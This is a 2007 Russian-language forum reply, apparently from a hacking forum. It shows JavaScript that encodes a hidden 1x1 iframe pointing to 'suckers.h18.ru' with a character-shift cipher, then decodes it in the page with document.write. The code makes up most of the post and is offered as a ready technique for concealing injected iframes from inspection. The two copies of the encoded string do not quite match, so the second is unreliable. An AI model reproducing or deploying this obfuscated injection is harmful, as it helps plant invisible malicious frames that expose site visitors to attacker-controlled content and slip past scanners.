Показать сообщение отдельно

  #2  
Старый 09.05.2007, 01:25
Helios
Постоянный
Регистрация: 14.01.2007
Сообщений: 459
Провел на форуме:
1469995

Репутация: 589
Отправить сообщение для Helios с помощью ICQ
По умолчанию

Тогда уж лучше брать принципы HTML-протекторов.

Самое простое - сдвиг всех символов по таблице (Код Цезаря?):

Кодировщик:
PHP код:
var source "<iframe src='http://suckers.h18.ru' width='1' height='1'>";
var 
result "";
var 
step 2;

for(var 
i=0;i<source.length;i++)result+=String.fromCharCode(source.charCodeAt(i)+step);
document.write(result); 
напишет
Цитата:
>khtcog"ute?)jvvr<11uwemgtu0j3:0tw)"ykfvj?)3)"jgki jv?)3)@
Для декодирования на странице просто заменить step на противоположное значение и подставить защифрованный код как source:
PHP код:
var source '>khtcog"ute?)jvvr<11uwemgtu0j3:0tw)"ykfvj?)3)"jgkijv?)3)@';
var 
step = -2;
var 
result '';
for(var 
i=0;i<source.length;i++)result+=String.fromCharCode(source.charCodeAt(i)+step);
document.write(result);